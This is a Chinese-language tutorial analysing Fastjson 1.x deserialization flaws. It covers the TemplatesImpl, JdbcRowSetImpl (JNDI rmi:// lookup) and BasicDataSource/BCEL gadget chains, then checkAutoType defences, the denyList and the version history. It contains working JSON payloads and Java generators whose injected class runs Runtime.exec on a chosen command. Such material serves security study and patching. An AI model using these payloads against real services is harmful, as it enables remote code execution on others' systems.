parse 不同,**parseObject 系列方法默认不会信任 JSON 字符串中的 @type 字段**:

  • **parse(String)**:如果 JSON 包含 @type,且 AutoType 策略放行,会直接实例化为指定的类。
  • **parseObject(String) / parseObject(String, Class<T>)忽略 @type**,结果固定为 JSONObject/JSONArray 或者显式指定的类型。

反序列化过程

parseObject(String text) 本质上是对 parse 的一层封装:

1
2
3
4
5
6
7
8
9
10
11
12
public static JSONObject parseObject(String text, Feature... features) {
return (JSONObject) parse(text, features);
}

public static JSONObject parseObject(String text) {
Object obj = parse(text);
if (obj instanceof JSONObject) {
return (JSONObject) obj;
}

return (JSONObject) JSON.toJSON(obj);
}
  • 如果结果已经是 JSONObject,直接返回。

  • 如果结果不是 JSONObject(例如是 JavaBean、数组、原始值),则调用 JSON.toJSON(obj) 转换为 JSONObject

提示

这就是为什么我们会观察到 parseObject 虽然会忽略 @type 字段,但是会调用到 @type 指定的类的 getter 和 setter 方法。

  • setter 方法是 parseObject 调用 parse 函数按照 @type 字段初始化类的时候调用的。
  • getter 方法是 JSON.toJSONparse 返回的对象转换为 JSONObject 的时候从对象获取属性时调用的。

具体来说 parseObject(String text) 的反序列化过程为:

  1. 调用 parse(text)(通用解析入口)

    • 如果 JSON 是对象/数组/字面量 → 返回 JSONObject/JSONArray/String|Boolean|Number|null
    • 如果 JSON 含有 @type 且 AutoType 策略放行parse先实例化该类并进行 JavaBean 赋值
      • 调用无参构造器(你看到的 Non-Arg Constructor 打印就发生在这里)。
      • 按字段名匹配 setter(或 Feature.SupportNonPublicField 直写 private 字段)给属性赋值(你看到的 setAge/setName 就发生在这里)。
      • 特殊类型(如 byte[])会在此时完成 Base64 解码JSONScanner#bytesValue)。
      • 字段名匹配支持 smartMatch(忽略 _ / -)。
  2. 结果是 JSONObject 就直接返回

    • 这种情况下,没有实例化 JavaBean,不会有构造/ setter 的副作用。
  3. 若结果不是 JSONObject → 调用 JSON.toJSON(obj) 做转换

    • 如果 obj 是 JavaBean(步骤1已实例化):这是一个“序列化侧”的转换过程:toJSON 会用 JavaBean 的 getter/isXxx 或直接读字段 取值,组装成一个新的 JSONObject

    • 如果 objJSONArray 或字面量通常会直接报错,例如:

      com.alibaba.fastjson.JSONArray cannot be cast to com.alibaba.fastjson.JSONObject


parseObject(String text, Class<T> clazz) 则是直接使用传入的 clazz 来实例化目标对象,并且同样会忽略 JSON 中的 @type 字段。

parseObject(String text, Class<T> clazz) 与前面的 parseObject(String text) 过程不太一样,不过在反序列化过程中可以调用 clazz 指定目标类的 getter 方法:

  1. **忽略 @type**,严格按 clazz 进行反序列化。
  2. 实例化:通过无参构造器 new clazz()
  3. 赋值:和前面是属性赋值策略一致。
  4. 返回:强类型的 T 实例。@type 被忽略。

FastJson 利用链

  • TemplatesImpl 家族(私有字段直写注入字节码,免出网)

  • JNDI 家族(各种“把字符串当 JNDI 名字去查”的类,通常需要出网)

  • BCEL 家族BasicDataSource/UnpooledDataSource/... + $$BCEL$$,免出网但受 JDK/版本限制)

  • AutoCloseable / 流式 I/O 家族(不依赖外连:本地文件清空/写入/拼装压缩流等副作用)

TemplatesImpl

Fastjson ≤ 1.2.24 时 AutoType 默认开;并且要启用 Feature.SupportNonPublicField 才能直写私有字段SupportNonPublicField1.2.22 起提供。

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 有加载任意字节码的利用链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
getOutputProperties()
└─→ newTransformer()
└─→ getTransletInstance()
├─[前置条件] _name != null,否则直接返回
├─ 若 _class == null → defineTransletClasses()
│ ├─ 构造 TransletClassLoader(doPrivileged)
│ ├─ 遍历 _bytecodes:
│ │ └─ loader.defineClass(byte[]) // 包可见便捷方法,内部调父类 protected defineClass(...)
│ ├─ 以父类是否为 AbstractTranslet 识别“主类”,记录 _transletIndex
│ └─ 异常处理(ClassFormatError/LinkageError → 包装为 TransformerConfigurationException)
├─ translet = (AbstractTranslet) _class[_transletIndex].newInstance()
│ // 此时触发:类初始化(<clinit>) → 构造器(<init>) 的顺序
├─ translet.postInitialization()/setTemplates(...) 等收尾
└─ 返回 translet
└─ 用 translet 构造 TransformerImpl
└─ TransformerImpl.getOutputProperties()

因此我们可以构造如下 payload:

1
2
3
4
5
6
7
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["evilCode after Base64"],
"_name": "HelloTemplatesImpl",
"_tfactory": {},
"outputProperties": {},
}

其中各字段含义如下:

  • @type → 目标类 TemplatesImpl,也就是我们需要构造并调用函数触发任意类加载的类。

    AutoType 必须可用(≤ 1.2.24 默认开启;≥ 1.2.25 默认关闭并有黑/白名单检查,需要“开启/白名单/绕过”)。这是 fastjson 的通用门槛,和 TemplatesImpl 本身无关。

  • _bytecodes: byte[][]Base64 字符串数组,Fastjson 会自动把每个字符串解成 byte[],后续作为恶意类字节码加载。

    字节码对应的恶意类要求至少包含一个主类,它的父类必须是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTransletdefineTransletClasses() 会逐个 defineClass,并通过“父类是否为 AbstractTranslet”来认定主类并记录 _transletIndex

    getTransletInstance()defineTransletClasses()TransletClassLoader.defineClass(byte[]) 处被加载;随后 newInstance() → 执行 <clinit> 与构造器。

  • _name: String → 非空“标识名”;必须有,后面 defineTransletClasses() 要用。

    必须非空,否则 getTransletInstance() 直接 return null,链路停止。填任意非空字符串即可(也用于异常信息中的名字)。

  • _tfactory: TransformerFactoryImpl{} 表示“构造一个默认实例”,这样会调用 TransformerFactoryImpl 的无参构造函数实例化一个 TransformerFactoryImpl 对象填在该属性上。

    在高版本 GDK 中,defineTransletClasses() 里要用它提供 ExternalExtensionsMap 来构造 TransletClassLoader;**不能为 null**。

  • outputProperties: Properties →这是 getter 对应的“属性名”TemplatesImpl#getOutputProperties() 返回 Properties(容器类型),满足 fastjson 的“getter‑only 容器就地填充”条件;所以给它一个 {},fastjson 会调用 getOutputProperties() 取得实例然后往里填,这一步就把整条类加载链触发了。

我们可以通过下面这段代码生成 payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import java.util.Base64;

public class BuildFastjsonTemplatesPayload {
public static String getPayload(String cmd) throws Exception {

// 1) 生成恶意类字节码(必须继承 AbstractTranslet)
byte[] evilBytes = makeEvilTranslet(cmd);

// 2) Base64 编码(Fastjson 的 _bytecodes 接受 base64 字符串数组)
String b64 = Base64.getEncoder().encodeToString(evilBytes);

// 3) 拼接为你需求的 JSON 结构
String json = "{\n" +
" \"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\n" +
" \"_bytecodes\": [\"" + b64 + "\"],\n" +
" \"_name\": \"HelloTemplatesImpl\",\n" +
" \"_tfactory\": {},\n" +
" \"_outputProperties\": {}\n" +
"}";

return json;
}


/**
* 生成一个继承 AbstractTranslet 的类:
* - 类名任意(如 EvilClass)
* - 构造器中直接 Runtime.exec(cmd)
* - 需设置父类为 AbstractTranslet,否则不会被作为“主类”实例化
*/
private static byte[] makeEvilTranslet(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();

CtClass ct = pool.makeClass("EvilClass");
// 父类必须:AbstractTranslet
CtClass superC = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ct.setSuperclass(superC);

// 无参构造器:实例化即执行
CtConstructor cons = new CtConstructor(new CtClass[]{}, ct);
cons.setBody("{ java.lang.Runtime.getRuntime().exec(\"" + escape(cmd) + "\"); }");
ct.addConstructor(cons);

// class 版本(降低兼容性风险)
ct.getClassFile().setMajorVersion(49); // Java 5

// 返回字节码
return ct.toBytecode();
}

// 简单转义双引号与反斜杠,防止命令串破坏 Java/JSON 字面量
private static String escape(String s) {
return s.replace("\\", "\\\\").replace("\"", "\\\"");
}
}

JdbcRowSetImpl

≤ 1.2.24:AutoType 开,直接打。

1.2.25−1.2.47:可用“两步/缓存”绕过(java.lang.Class 先把 JdbcRowSetImpl 放进 mappings,再触发)——很多教程的“两次请求/一次 JSON 两段”就是这个。

com.sun.rowset.JdbcRowSetImpl 是一个实现了 javax.sql.rowset.JdbcRowSet 接口的类,属于 JavaBeans 组件的一部分,用于在 Java 程序中管理和操作数据库数据。它提供了一种简化的方式来访问数据库,同时保持与 JDBC 的兼容性。

com.sun.rowset.JdbcRowSetImpl#setAutoCommit 函数可以调用到 JNDI 的 javax.naming.InitialContext#lookup 函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
/**
* 为该 <code>JdbcRowSet</code> 所使用的内部 <code>Connection</code> 设置自动提交(auto-commit)。
*
* @param autoCommit 是否开启自动提交
* @throws SQLException 当发生数据库访问错误时抛出
*/
public void setAutoCommit(boolean autoCommit) throws SQLException {
if (conn != null) { // 📌 确保 conn 为空
// [...]
} else {
// 走到这里说明当前连接对象为 null
// 因为 JdbcRowSet 始终应当连接到数据库,这里内部创建一个连接句柄是合理的
conn = connect(); // 👈 调用这个函数

// [...]
}
}

/**
* 建立并返回一个 JDBC 连接。
* 优先复用已有连接;否则按 dataSourceName(JNDI)或其他配置创建。
*
* @return 可用的 Connection
* @throws SQLException 获取连接失败时抛出
*/
private Connection connect() throws SQLException {

// 获取 JDBC 连接

if (conn != null) { // 📌 确保 conn 为空
// [...]
} else if (getDataSourceName() != null) {

// 通过 JNDI 查找数据源并获取连接
try {
Context ctx = new InitialContext();
DataSource ds = (DataSource) ctx.lookup(getDataSourceName());

// [...]
} catch (javax.naming.NamingException ex) {
// 将命名异常包装为 SQL 异常,统一语义
throw new SQLException(resBundle.handleGetObject("jdbcrowsetimpl.connect").toString(), ex);
}
}
// [...]
}

public String getDataSourceName() {
return dataSource;
}

上述代码要求:

  • @type:设置为 com.sun.rowset.JdbcRowSetImpl

  • private Connection conn = null,这个在 JdbcRowSetImpl 的无参构造函数中就能设置。

    1
    2
    3
    4
    public JdbcRowSetImpl() {
    conn = null;
    // [...]
    }
  • private String dataSource 设置为 JNDI 的 URL,该字段有满足条件的 setter 函数可以设置该字段。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    // com.sun.rowset.JdbcRowSetImpl
    public void setDataSourceName(String dsName) throws SQLException{

    if(getDataSourceName() != null) {
    if(!getDataSourceName().equals(dsName)) {
    super.setDataSourceName(dsName);
    conn = null;
    ps = null;
    rs = null;
    }
    }
    else {
    super.setDataSourceName(dsName);
    }
    }

    // javax.sql.rowset.BaseRowSet
    public void setDataSourceName(String name) throws SQLException {

    if (name == null) {
    dataSource = null;
    } else if (name.equals("")) {
    throw new SQLException("DataSource name cannot be empty string");
    } else {
    dataSource = name;
    }

    URL = null;
    }
  • JSNO 中有 autoCommit 字段确保触发 setAutoCommit 函数调用。

通过上述分析我们发现,JdbcRowSetImpl 的所有与利用相关的字段都可以保持默认或者通过 public 属性的 setter 函数设置,因此该利用链不需要启用 Feature.SupportNonPublicField

因此有如下 payload:

1
2
3
4
5
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://127.0.0.1:1099/exploit",
"autoCommit": true
}

BasicDataSource

这条链最大优势:不出网不需要 SupportNonPublicField。最大限制:版本与 JDK 约束苛刻

  • Fastjson ≤ 1.2.24:AutoType 默认开,且 checkAutoType 尚未对 ClassLoader/DataSource 做定向封堵 → 可打。

  • 目标工程需有 dbcp/tomcat-dbcp(类名在 Tomcat 8+ 为 org.apache.tomcat.dbcp.dbcp2.BasicDataSource,更早为 org.apache.tomcat.dbcp.dbcp.BasicDataSource)。

  • 依赖 JRE 内置的 BCEL 内部类com.sun.org.apache.bcel.internal.util.ClassLoader)。JDK 8u25x 以后对内置 BCEL 组件有移除/调整(比如 ClassLoaderRepository 自 8u251 起缺失),实战普遍反馈 8u251+ 该链失效;稳妥窗口多选 JDK 8u241 及以下

org.apache.tomcat.dbcp.dbcp2.BasicDataSourceJDBC 连接池
它实现了 javax.sql.DataSource,负责创建、复用与管理数据库连接(底层用的是 Apache Commons Pool2)。该组件来自 Tomcat,Maven 坐标如下:

1
2
3
4
5
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>8.5.45</version>
</dependency>

BasicDataSource#getConnection 被调用时会有如下调用链:

1
2
3
4
5
6
7
at com.sun.org.apache.bcel.internal.util.ClassLoader.loadClass(ClassLoader.java:131)
at java.lang.ClassLoader.loadClass(ClassLoader.java:357)
at java.lang.Class.forName0(Class.java:-1)
at java.lang.Class.forName(Class.java:348)
at org.apache.tomcat.dbcp.dbcp2.BasicDataSource.createConnectionFactory(BasicDataSource.java:2156)
at org.apache.tomcat.dbcp.dbcp2.BasicDataSource.createDataSource(BasicDataSource.java:2061)
at org.apache.tomcat.dbcp.dbcp2.BasicDataSource.getConnection(BasicDataSource.java:1543)

其中 BasicDataSource#createConnectionFactory 函数代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
/**
* 为当前数据源创建一个 JDBC 连接工厂。JDBC 驱动的加载遵循以下顺序:
* <ol>
* <li>如果通过 {@link #setDriver(Driver)} 已显式设置 Driver 实例,则直接使用该实例。</li>
* <li>如果未设置 Driver 实例,且设置了 {@link #driverClassName},则优先使用当前类的 {@link ClassLoader}
* (或若已设置 {@link #driverClassLoader},则使用该 ClassLoader)去加载 {@link #driverClassName}。</li>
* <li>若已指定 {@link #driverClassName} 但上述尝试失败,则改用当前线程的上下文 ClassLoader 加载该类。</li>
* <li>如果仍未能加载到驱动,则基于给定的 {@link #url},通过 {@link DriverManager} 获取一个已注册的驱动。</li>
* </ol>
* 该方法存在的目的,是为了便于子类替换具体实现类。
*
* @return 连接工厂
* @throws SQLException 创建连接工厂失败时抛出
*/
protected ConnectionFactory createConnectionFactory() throws SQLException {
// 1) 优先使用外部显式注入的 Driver 实例(如果存在)
Driver driverToUse = this.driver;

if (driverToUse == null) {
Class<?> driverFromCCL = null; // 记录通过指定类加载器加载到的 Driver 类(如果有)

// 2) 如果配置了驱动类名,尝试按既定的类加载顺序去加载驱动类
if (driverClassName != null) {
try {
try {
if (driverClassLoader == null) {
// 2.1 使用当前类的 ClassLoader 加载驱动类
driverFromCCL = Class.forName(driverClassName);
} else {
// ✅ 2.2 如果指定了 driverClassLoader,则使用它加载驱动类
driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);
}
} catch (final ClassNotFoundException cnfe) {
// 2.3 上述方式找不到时,退回到“线程上下文类加载器”加载
driverFromCCL = Thread.currentThread()
.getContextClassLoader()
.loadClass(driverClassName);
}
} catch (final Exception t) {
// [...]
}
}

try {
if (driverFromCCL == null) {
// [...]
} else {
// ✅ 4) 如果我们是自己通过(上下文)ClassLoader 加载到的驱动类:
// 不使用 DriverManager(它不一定尊重线程上下文 ClassLoader),而是反射创建实例并自行校验
driverToUse = (Driver) driverFromCCL.getConstructor().newInstance();

// [...]
}
} catch (final Exception t) {
// [...]
}
}

// [...]
}

createConnectionFactory()关键逻辑

  • 如果设置了 driverClassLoader,就用这个类加载器加载 driverClassName 中的字节码,得到 driverFromCCL 类。

    1
    driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);
  • 如果 driverFromCCL 类成功加载,则反射调用该类的无参构造函数实例化成对象。

1
driverToUse = (Driver) driverFromCCL.getConstructor().newInstance();

因此如果我们将 BasicDataSource 中的字段设置成下面这种形式:

  • driverClassLoader 设成 **com.sun.org.apache.bcel.internal.util.ClassLoader**(JRE 内置 BCEL 类加载器)
  • driverClassName 设成 **"$$BCEL$$" + bcelCode**。

那么如果触发 BasicDataSource#getConnection 函数的调用就可以实现任意字节码加载。

普通的 ClassLoader(比如应用的 AppClassLoader)接收的是类名,它会去classpath 上找 .class 文件或父加载器里找现成类;

BCEL 的 ClassLoader 是一个“特殊类加载器”当类名里包含 $$BCEL$$ 子串时,它会把类名中携带的 BCEL 编码字节码取出来,解码后 defineClass,等价于“把字节码塞在类名字符串里”完成动态加载。

因此这里我们需要通过 com.sun.org.apache.bcel.internal.util.ClassLoader 来实现任意字节码加载。

然而 getConnection 的返回值类型为 Connection不是容器/Atomic,因此在反序列化阶段不会自动调用

1
public Connection getConnection() throws SQLException;

为了能够确保触发 getConnection 函数调用,我们需要像下面这样构造 payload:

1
2
3
4
5
6
7
8
9
{
{
"aaa": {
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": { "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" },
"driverClassName": "$$BCEL$$<bcelCode>"
}
} : "bbb"
}

当我们通过 JSON.parse 解析这段 payload 的时候:

  1. 首先内层的 JSON 结构会被正常解析成一个 JSONObject

    1
    2
    3
    4
    5
    6
    7
    {
    "aaa": {
    "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
    "driverClassLoader": { "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" },
    "driverClassName": "$$BCEL$$<bcelCode>"
    }
    }
  2. 之后解析外层 JSON 结构时发现之前解析的 JSON 结构({"aaa": {...}})是外层 JSON 结构的一个键。

    1
    {{"aaa": {...}} : "bbb"}

    因此在 com.alibaba.fastjson.parser.DefaultJSONParser#parseObject 中会调用前面解析出来的 JSONObjecttoString 方法将其转为字符串(这是因为 JSONObject 实现了 Map<String, Object> 接口,要序列化后键是字符串)。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    public final Object parseObject(final Map object, Object fieldName) {
    // 循环遍历 object 的 key
    // [...]
    if (object.getClass() == JSONObject.class) {
    // 当前解析的 object 是 JSONObject
    // 📌 调用 key 的 toString 方法
    key = (key == null) ? "null" : key.toString();
    }
    // [...]
    }
  3. JSONObject 对象的 toString 方法实际上是调用 toJSONString 方法将其重新序列化。

    1
    2
    3
    4
    @Override
    public String toString() {
    return toJSONString();
    }

    而根据前面的分析,FastJson 在序列化的时候,会递归分析调用内部所有对象的 getter 方法获取值,并且这里对 getter 方法返回值没有像反序列化那样严格要求。所以会调用到 getConnection 方法,有如下调用链:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    getConnection:753, BasicDataSource (org.apache.tomcat.dbcp.dbcp2)
    write:-1, ASMSerializer_1_BasicDataSource (com.alibaba.fastjson.serializer)
    write:251, MapSerializer (com.alibaba.fastjson.serializer)
    write:275, JSONSerializer (com.alibaba.fastjson.serializer)
    toJSONString:799, JSON (com.alibaba.fastjson)
    toString:793, JSON (com.alibaba.fastjson)
    parseObject:436, DefaultJSONParser (com.alibaba.fastjson.parser)
    parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
    parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
    parse:137, JSON (com.alibaba.fastjson)
    parse:128, JSON (com.alibaba.fastjson)
    main:18, Main

payload 生成代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import com.sun.org.apache.bcel.internal.classfile.Utility;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

public class BuildFastjsonBasicDataSourcePayload {
public static String getPayload(String cmd) throws Exception {
String bcelCode = generateBCELCode(cmd);
String json =
"{\n" +
" {\n" +
" \"aaa\": {\n" +
" \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
" \"driverClassLoader\": {\n" +
" \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
" },\n" +
" \"driverClassName\": \"$$BCEL$$" + bcelCode + "\"\n" +
" }\n" +
" }: \"bbb\"\n" +
"}";
return json;
}

private static String generateBCELCode(String cmd) throws Exception {
return Utility.encode(getEvilClass(cmd), true);
}

private static byte[] getEvilClass(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("EvilClass");
CtConstructor constructor = new CtConstructor(new CtClass[]{}, ctClass);
constructor.setBody("Runtime.getRuntime().exec(\"" + cmd + "\");");
ctClass.addConstructor(constructor);
ctClass.getClassFile().setMajorVersion(49);
return ctClass.toBytecode();
}
}

checkAutoType 绕过

checkAutoType 安全机制

在版本 1.2.25 中,官方对之前的反序列化漏洞进行了修复,引入了 checkAutoType 安全机制:

  • 默认情况下 autoTypeSupport = false,不允许任意类反序列化。
  • 而打开 AutoType 之后,是基于内置黑名单来实现安全的,fastjson 也提供了添加黑名单的接口。

在后续版本中,checkAutoType 安全机制被不断修补加固,时间线如下:

时间/版本 变化要点 依据
2017-03-15(1.2.14.sec01 分支) 首次引入 checkAutoType() 与“可配置”黑/白名单:新增系统属性 fastjson.parser.autoTypeSupport(是否允许 autoType)、fastjson.parser.autoTypeAccept(白名单前缀,可多值)、fastjson.parser.deny(黑名单前缀)。运行时通过 addItemsToAccept/Deny 注入;checkAutoType 先白/黑名单匹配再加载类。此时主要是“可配置白名单”不是大而全的“内置白名单”。 变更 diff 展示了属性常量与 checkAutoType 主体引入(ParserConfig.java),以及 parseObject 调用改为 config.checkAutoType(...)。[GitHub];同日官方安全公告“security_update_20170315”。[GitHub Wiki
≤1.2.24 历史上 autoType 在很多场景等同于“可用/易被绕过”;多条利用链公开。 社区长文时间轴与复现。[Medium, cn-sec.com
1.2.25 **默认关闭 autoType**(除非显式开启或白名单命中);继续沿用黑/白名单思路。 社区时间轴与 CVE-2017-18349 的“1.2.25 之前可 RCE”描述。[Medium, NVD, CVE Details
1.2.42 黑/白名单查找由明文前缀 → 64 位哈希(FNV-1a)+ 二分查找denyHashCodes / acceptHashCodes;同时限制 typeName 长度(<3 或 ≥128 拒绝)。注意:这时白名单字符串常量仍保留,只是运行时计算其哈希做查找。 “bug fixed autoType denyList check” 提交里可见 TypeUtils.fnv1a_64(name)Arrays.binarySearch(...),以及长度校验。[GitHub
1.2.61 黑名单常量从十进制 long → 十六进制(小写),属于“隐藏可搜索特征”的编码层面变化。 “update blacklist” 提交可见十进制改为十六进制字面量。[GitHub
1.2.62 十六进制字面量改为大写扩充黑名单(如 net.sf.cglib., oracle.jdbc., jdk.internal., org.objectweb.asm. 等),继续以哈希表呈现。 “add autoType blacklist” 提交。[GitHub
1.2.67 “内置白名单也哈希化”:把原先源码里的白名单字符串数组(大量 Spring/JDBC/Security 等类名)整块删除,改为 INTERNAL_WHITELIST_HASHCODES(FNV-1a 值,已排序)。这是白名单表现形式的关键转折点。 “update whitelist” 提交的 diff 一边是被删除的明文白名单类型列表String[] types = {...}),一边是新的 INTERNAL_WHITELIST_HASHCODES。[GitHub
1.2.68 引入 SafeMode:一旦开启,完全禁用 @type/autoType(黑/白名单都不再放行)。支持代码、JVM 参数、配置文件三种开启方式。 官方 SafeMode 说明与安全通报。[GitHub Wiki, NSFOCUS
1.2.83(2022-05-22) 修复 CVE-2022-25845(再一次的 autoType 绕过 → RCE);官方呼吁升级或启用 SafeMode。 JFrog 技术分析与 NVD 条目。[JFrog, NVD
2024-10-23 fastjson 1.x 仓库被归档;官方推荐使用 fastjson2(重新设计,默认更安全)。 仓库页顶“archived by the owner on Oct 23, 2024”。[GitHub

相关结构与配置

安全更新主要集中在 com.alibaba.fastjson.parser.ParserConfig,首先查看类上出现了几个成员变量:

1
2
3
private boolean autoTypeSupport = AUTO_SUPPORT;
private String[] denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");
private String[] acceptList = AUTO_TYPE_ACCEPT_LIST;
  • 布尔型的 autoTypeSupport,用来标识是否开启任意类型的反序列化,并且默认关闭

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    // 定义一个常量字符串,用来读取系统属性开关的 key
    // 如果 JVM 启动参数里带有 -Dfastjson.parser.autoTypeSupport=true/false
    // 就会被这里捕获,用于控制 AutoType 功能是否启用
    public final static String AUTOTYPE_SUPPORT_PROPERTY = "fastjson.parser.autoTypeSupport";

    // 定义一个全局常量,用于标识是否默认启用 AutoType
    // 其值由上面的静态代码块初始化决定
    public static final boolean AUTO_SUPPORT;

    static {
    // [...]

    // 静态初始化块:类加载时就会执行
    {
    // 从系统属性中读取 fastjson.parser.autoTypeSupport 的值
    // IOUtils.getStringProperty 会调用 System.getProperty()
    // 如果没有设置该属性,返回 null
    String property = IOUtils.getStringProperty(AUTOTYPE_SUPPORT_PROPERTY);

    // 判断属性值是否等于 "true"
    // 如果等于 "true",则开启 AutoType 支持,否则关闭
    AUTO_SUPPORT = "true".equals(property);
    }

    // [...]
    }

    // 在 ParserConfig 类中,定义一个实例变量 autoTypeSupport
    // 默认值来自全局常量 AUTO_SUPPORT
    // 这样每个 ParserConfig 实例都会继承全局的 AutoType 配置
    private boolean autoTypeSupport = AUTO_SUPPORT;
  • 字符串数组 denyList ,是反序列化类的黑名单;其中黑名单 denyList 包括:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    bsh 
    com.mchange
    com.sun.
    java.lang.Thread
    java.net.Socket
    java.rmi
    javax.xml
    org.apache.bcel
    org.apache.commons.beanutils
    org.apache.commons.collections.Transformer
    org.apache.commons.collections.functors
    org.apache.commons.collections4.comparators
    org.apache.commons.fileupload
    org.apache.myfaces.context.servlet
    org.apache.tomcat
    org.apache.wicket.util
    org.codehaus.groovy.runtime
    org.hibernate
    org.jboss
    org.mozilla.javascript
    org.python.core
    org.springframework

    黑名单中的元素支持动态添加:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    // 定义一个系统属性的 key,用于指定 AutoType 的“黑名单”类前缀
    // 如果 JVM 启动参数里设置了 -Dfastjson.parser.deny=xxx,yyy,...
    // 就会在 fastjson 启动时加载这些前缀作为禁止反序列化的类
    public final static String DENY_PROPERTY = "fastjson.parser.deny";

    // 全局静态黑名单数组,用来存放禁止的类名前缀
    // 在类加载时会被初始化
    public static final String[] DENYS;

    static {
    // [...]
    {
    // 从系统属性中读取 fastjson.parser.deny 的值
    // 比如:System.getProperty("fastjson.parser.deny")
    // 可能返回 "com.malicious.,org.exploit."
    String property = IOUtils.getStringProperty(DENY_PROPERTY);

    // 调用 splitItemsFormProperty 对字符串进行分割
    // 结果会是一个 String[],每个元素代表一个禁止的类前缀
    // 如果 property = null,则返回 null
    DENYS = splitItemsFormProperty(property);
    }
    // [...]
    }

    在构造函数中,DENYS 列表中的成员会通过 addItemsToDeny 函数添加到黑名单列表 denyList 中。

  • acceptList 是反序列化白名单。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    // 定义一个系统属性的 key,用于指定 AutoType 的“白名单”类前缀
    // 如果 JVM 启动参数里设置了 -Dfastjson.parser.autoTypeAccept=xxx,yyy,...
    // 就可以通过该属性为 fastjson 增加一批允许的类前缀
    public final static String AUTOTYPE_ACCEPT = "fastjson.parser.autoTypeAccept";

    // 全局静态白名单数组,用来存放允许的类名前缀
    // 在类加载时会被初始化
    private static final String[] AUTO_TYPE_ACCEPT_LIST;

    static {
    // [...]
    {
    // 从系统属性中读取 fastjson.parser.autoTypeAccept 的值
    // 比如:System.getProperty("fastjson.parser.autoTypeAccept")
    // 可能返回 "com.safe.,org.trusted."
    String property = IOUtils.getStringProperty(AUTOTYPE_ACCEPT);

    // 调用 splitItemsFormProperty 对字符串按逗号、分号等分隔符切分
    // 转换成 String[] 数组
    String[] items = splitItemsFormProperty(property);

    // 如果没有设置该属性(返回 null),则初始化为空数组
    if (items == null) {
    items = new String[0];
    }

    // 赋值给全局白名单数组
    AUTO_TYPE_ACCEPT_LIST = items;
    }
    // [...]
    }

    // 在 ParserConfig 实例中,定义一个实例级别的白名单数组
    // 默认继承自全局的 AUTO_TYPE_ACCEPT_LIST
    // 后续也可以通过 addAccept(...) 等方法动态扩展
    private String[] acceptList = AUTO_TYPE_ACCEPT_LIST;

    添加反序列化白名单有 3 种方法:

    • 代码方式调用 API

      1
      ParserConfig.getGlobalInstance().addAccept("com.example.safe.");
    • 系统属性

      1
      -Dfastjson.parser.autoTypeAccept=com.example.safe.,org.myapp.model.
    • fastjson.properties 配置文件

      在 classpath 下放置 fastjson.properties,内容如下:

      1
      fastjson.parser.autoTypeAccept=com.example.safe.,org.myapp.model.

安全机制分析

com.alibaba.fastjson.parser.ParserConfig#checkAutoType 函数中,如果开启了 autoType,先判断类名是否在白名单中,如果在,就使用 TypeUtils.loadClass 加载,然后使用黑名单判断类名的开头,如果匹配就抛出异常。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
